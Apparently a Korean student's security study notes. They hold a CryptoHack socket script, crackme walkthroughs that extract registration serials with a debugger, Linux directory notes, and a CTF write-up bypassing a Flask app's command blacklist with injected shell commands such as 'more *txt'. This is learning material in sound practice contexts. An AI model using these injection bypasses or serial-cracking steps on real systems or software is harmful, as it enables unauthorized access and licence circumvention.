[5주차] mitm.py

#!/usr/bin/env python3

from pwn import *  # pip install pwntools
import json

HOST = "socket.cryptohack.org"
PORT = 11112

r = remote(HOST, PORT)

def json_recv():
    line = r.readline()
    return json.loads(line.decode())

def json_send(hsh):
    request = json.dumps(hsh).encode()
    r.sendline(request)

print(r.readline())
print(r.readline())
print(r.readline())
print(r.readline())

request = {
    "buy": "clothes"
}
json_send(request)

response = json_recv()

print(response)

일단 그대로 복붙 후 실행…

Image

이건 안된다, buy만 가능하다고 한다.
buy와 flags 안된다.
단수로 바꿔서 buy와 flag하면 나온다.

Image

Image

[5주차] Crackme#5

일단 crackme5.exe 모듈로 들어가고

Image 1

문자열 참조를 해본다.
well done! 참조하는 주소로 이동

Image 2

well done으로 향하는 분기문이 수상하다
그 위에 strcmp를 하는 crackme5.402324를 참조해보자

Image 3

메모리 맵에서 DATA쪽이 00402000~이므로 이동

Image 4

위를 더 자세히 봤더니 4023FD를 보면

Image 5

이렇게 시리얼 같은 게 숨겨져 있다.
4562-ABEX와 L2C-5781… 뭔가 섞어서 입력해봤는데 다 틀렸댄다

Image 6

동적 분석해보니까 숫자 부분이 1씩 add되더라

Image 7

분기문을 다 돌았더니 6784-ABEX가 되었다.

Image 8

합한 시리얼 총 넘버는 L2C-57816784-ABEX

Image 9

[5주차] Crackme#4

registered가 안 눌러진다. 뭔가 정해진 format이 있을듯

Image 1

crackme.exe 모듈로 간다

Image 2

Well done!으로 간다

Image 3

hmm…

Image 4

동적 분석을 해도 잘 모르겠다…

라업 참고했다..

Image 5

모듈 간 호출 참고하면 msvbvm60을 호출한다는 것을 알 수 있다. 이중에서 문자열 format 비교해야 하므로 strcmp를 찾아 참고한다

Image 6

여기로 와서 아무거나 입력하면

Image 7

eip가 여기로 오는데… 00402308로 오면 serial값이 보여서 재입력해준다

Image 8

이렇게 2145440으로 시리얼이 뜬다
프로세스마다 달라진다.

Image 9

시리얼이 다른 건 다시 실행했기 때문이다… 아무튼 위처럼 해주면 Registered 버튼이 뜬다

리눅스 디렉토리 구조

리눅스 루트 디렉토리는 트리 구조로 구성되어 있다.

/bin User Binaries
이진파일
기본적인 명령어가 저장되어 있다. mv, cp, ls 등…

/sbin System Binaries
시스템 바이너리, ifconfig, ethtool, halt 같은 시스템 명령어 저장되어 있다.

  • 추가
  • bin: cd, ls 등의 사용자 커맨드 파일이 위치한 디렉토리 (필수적인 파일만 관리)
  • sbin: systemctl 등의 시스템 커맨드 파일이 위치한 디렉토리 (필수적인 파일만 관리)
  • usr/bin: 필요에 의해 설치된 사용자 커맨드 파일이 위치한 디렉토리 (yum 등 패키지 관리자가 관리)
  • usr/sbin: 필요에 의해 설치된 시스템 커맨드 파일이 위치한 디렉토리 (yum 등 패키지 관리자가 관리)
  • usr/local/bin: 기타 사용자 커맨드 파일이 위치한 디렉토리 (사용자 또는 설치 파일이 해당 디렉토리에 파일 설치)
  • usr/local/sbin: 기타 시스템 커맨드 파일이 위치한 디렉토리 (사용자 또는 설치 파일이 해당 디렉토리에 파일 설치)

/etc Configuration Files
설정 파일을 두는 디렉토리
네트워크 관련 설정파일, 암호 정보, 보안 파일 등…

/dev Device Files
시스템 장치 파일이 있는 디렉토리
하드디스크, CD-ROM 등이 존재한다.
피지컬 장치를 파일화 하여 저장

/proc Process Information
현재 메모리에 존재하는 작업들을 파일화
프로세스 정보 등 커널 관련 정보가 저장

/var Variable Files
로그파일, DB 캐싱 파일, 웹서버 이미지 파일 등…
동적인 파일들(로그) 저장

/tmp Temporary Files
임시파일 저장 디렉토리

/usr User Programs
루트 계정 아닌 일반 사용자들이 사용하는 디렉토리

/home Home Directories
홈 디렉토리, id마다 한 개씩 존재

/boot Boot Loader Files
시스템(여기서는 리눅스) 부팅에 필요한 정보 파일이 있다.

/lib System Libraries
커널이 필요로 하는 라이브러리 파일, 모듈파일 존재
bin, sbin 실행에 필요한 공유 라이브러리

/opt Optional add-on Apps
추가 응용프로그램 패키지 설치

/mnt Mount Directory
아래 media와 비슷하지만 해당 디렉토리는 사용자가 직접 마운트
OS가 자동으로 마운팅하는 건 media로…

/media Removable Devices
외부 장치들의 연결 포인트로 사용하는 위치(디렉토리)

/srv Service Data

[SpaceWar] flagreading

웹 문제인데 좀 쉬워보인다

from flask import Flask, render_template, request
import subprocess
import re
import time

app = Flask(__name__)
blacklist = set('flag/')
command_executed = False
last_execution_time = 0

def is_valid_command(command):
    if any(char in blacklist for char in command):
        return False
    return True

def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        output = result.stdout.strip()
        error = result.stderr.strip()
        if output:
            return output
        if error:
            return error
    except Exception as e:
        return str(e)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/execute_command', methods=['POST'])
def execute_command_route():
    global command_executed, last_execution_time
    current_time = time.time()
    if command_executed and (current_time - last_execution_time) < 30:
        time_left = 30 - (current_time - last_execution_time)
        return f"You've already executed a command! Please wait {int(time_left)} seconds before trying again."
    command = request.form['command']
    if not is_valid_command(command):
        return "try harder!"
    result = execute_command(command)
    command_executed = True
    last_execution_time = current_time
    return result

if __name__ == '__main__':
    app.run(debug=True, port=5678

폴더에 flag.txt를 있는 걸 보아.. cat flag.txt해야할듯

Image

if any(char in blacklist for char in command):

이부분 우회 필요

a="FLAG"; cat a.lower()+".txt";

안되고

b="CAT FLAG.TXT"; echo"${b,,}"
b="CAT FLAG.TXT"; echo"$b" | tr '[:upper:]' '[:lower:]'

아… flag의 l이 있어서 이건 안된다

Image

ls 안되길래 dir로 우회 flag.txt가 있는 건 확실한데..
흠… grep, find도 안되는데 * 사용해서 txt 다 출력
cat 대신할 명령 찾자 -> more이나 less

more *txt

Image

맨아래가 flag.txt 파일이다